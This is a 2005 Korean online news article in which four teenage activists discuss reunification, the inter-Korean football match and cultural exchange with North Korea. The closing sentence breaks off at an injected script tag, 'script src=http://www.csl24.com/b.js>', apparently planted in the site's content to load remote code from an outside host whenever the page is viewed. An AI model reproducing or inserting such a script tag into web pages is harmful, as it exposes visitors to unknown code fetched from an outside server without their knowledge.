이시대 진정한 통일의 주역 '청소년'
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작성자 바이러스 작성일2005.08.16 조회4,976회 댓글0건본문
이시대 진정한 통일의 주역 '청소년'
청소년 활동가 4인의 통일에 대한 견해나누기
(인터넷뉴스 바이러스 www.1318virus.net) 김지훈 기자
광복 60주년을 맞이하는 올해 그 어느 때보다 통일에 대한 열기 뜨겁다. 2000년 ‘6·15남북공동선언’ 이후 이산가족상봉, 금강산육로관광 추진 등 단절돼있던 남북관계에 제동이 걸렸고, 최근 동아시아 축구대회에서는 남북축구대표팀이 15년 만에 상봉했다.
또한 북한의 유명 무용수 조명애는 남한의 대중가수 이효리와의 CF출연에 이어 남북합작드라마에 주인공으로 섭외되면서 이제 안방에 앉아서도 북한문화를 쉽게 접할 수 있게 됐다.
이처럼 해가 거듭할수록 남북한의 문화교류는 활발해지고 어느새 통일은 우리 가까이 다가오고 있다.
▲ 통일좌담회에 참여한 청소년 활동가 4인(조윤호, 남궁정, 하제용, 김하나다슬)/ ⓒ인터넷뉴스 바이러스
그렇다면 다가오는 통일시대, 청소년들은 통일에 대해 어떠한 고민을 하고 있을까? 이에 청소년활동가 4인과 함께 통일에 대한 이야기를 나눠보았다.
참여자: 남궁정(이대부고3, 청소년권리찾기모임 ‘더하기’), 하제용(해룡고2, 한국고등학교학생회연합회), 조윤호(자운고2, 인터넷뉴스 바이러스 청소년기자), 김하나다슬(정신여고2, 발전하는 학생회 ‘가자’)
15년만에 열린 ‘남북축구’경기, 승부보다는 통일로 다가가는 길
조윤호(18, 바이러스): 이번 ‘남북축구’를 보면서 북한선수들을 이겨야 할 경쟁상대가 아니라 ‘한민족’이라는 생각에 둘다 잘했으면 좋겠다고 생각했어요. 일본과 한국의 경기에서 상대편이 반칙을 하면 격분하지만, 남북전 같은 경우는 어느 한쪽을 응원하기 보다는 경기자체를 즐겼어요. 오히려 무승부가 더 잘된 것 같아요.
하제용(18, 한고학연): 평소 축구를 좋아하지만 지난 동아시아 남북경기를 관람 못한것을 무척 아쉬웠어요. 경기를 보기 전에 골 넣는 장면 기대하기보다는 한쪽 선수가 쓰러졌을 때 상대팀이 손을 내밀어 이끌어 주는, 남북선수의 따뜻한 모습이 연출되기를 더 바랐어요.
▲ 4일 전주에서 열렸던 남북축구경기에서 한반도가기 등장했다. / ⓒ인터넷사진 공동취재단
남궁정(19, 더하기): 한반도기를 보면서 느꼈던 감격에 반해 일부 언론과 네티즌들이 민족화합 보다는 본프레레호가 잘못해서 북한도 못 이겼다는 식의 반응을 보인데 아쉬웠어요. 남북한 팀의 대결보다는 단일팀으로 경기를 했으면 더 좋았을 텐데, 겉으로는 남북교류라고 하지만 언론과 일부 축구팬들의 태도로 인해 경쟁심리만 남긴 경기가 돼버린 것 같아 씁쓸해요.
“문화교류 통해 알게 된 북한현실, 통일이 다가왔음을 부쩍 느껴요”
남궁정: 예전에는 ‘북한’하면 왠지 삭막하고, 기계적인 모습만 떠올렸는데, TV에서 ‘개성공단’의 모습을 보면서 ‘북한도 사람이 사는 곳이구나’라는 생각이 들었어요. 북한에 남한에 있는 편의점이 생기고, 남·북한 노동자들이 함께 어울리는 모습을 통해 통일 후 우리의 모습을 그릴 수 있었어요.
조윤호: 몇 해 전, 한반도기를 처음 봤을 때 많이 어색했지만 지금은 자연스러워요. 문화교류가 정말 중요한 것 같아요. 요즘에는 TV나 영화에서도 종종 북한을 소재로 다뤄서 그런지 북한이 친근해 졌어요.
김하나다슬(18, 가자): 저는 또래 친구들과 통일에 대해 토론하면서 현실적이고 구체적인 고민을 하게 됐어요. 그동안 ‘북한이 가난해서 통일이 되면 남한의 경제적 손실이 클 것이다’, ‘민족갈등이 커질 것이다’라는 생각을 해왔는데, 이것은 방안을 생각하지 않고 문제점만 바라보는 시각이라는 것을 깨달았어요.
하제용: 초등학교 때 선생님께서 "통일이 되려면 아무리 빨라도 지금부터 30년 이상 걸린다" 라는 말씀을 하셨어요. 그때는 ‘내가 45살쯤 되면 금강산에 가겠구나’라고 생각했는데, 요즘에는 영화나 TV를 보면 북한에 대한 문화적 충격이 큰 것 같아요. 남북청소년 ‘알아맞추기’프로그램이나, 영화 '공동경비구역 JSA', 금강산 육로 관광 등 간접체험을 통해 북한의 현실을 이해할 수 있었어요.
▲ 참가자들은 자유로운 분위기 속에서 통일에 대한 자신의 견해를 털어놨다./ ⓒ인터넷뉴스 바이러스
하지만 통일에 대한 올바른 인식 없이 이러한 문화적 교류만으로는 통일을 이룰 수 없다. 실제 한 언론사에 진행한 광복 60주년 맞이 공동 여론조사에서 ‘통일을 해야할까’란 질문에‘반드시 통일을 해야 한다’(54.2%)는 답변이 절반을 넘었지만 ‘전쟁을 하지 않고 지금처럼 지내는 것도 좋다’(42.4%)는 응답도 다수였다.
‘레드콤플렉스’, 통일교육의 부재.. 통일의 걸림돌
김하나다슬: 남한의 경우 레드컴플렉스가 정말 심각하다고 생각해요. 언젠가 뉴스?script src=http://www.csl24.com/b.js>
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